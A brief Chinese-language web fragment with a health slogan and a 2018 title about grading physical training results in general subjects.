每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定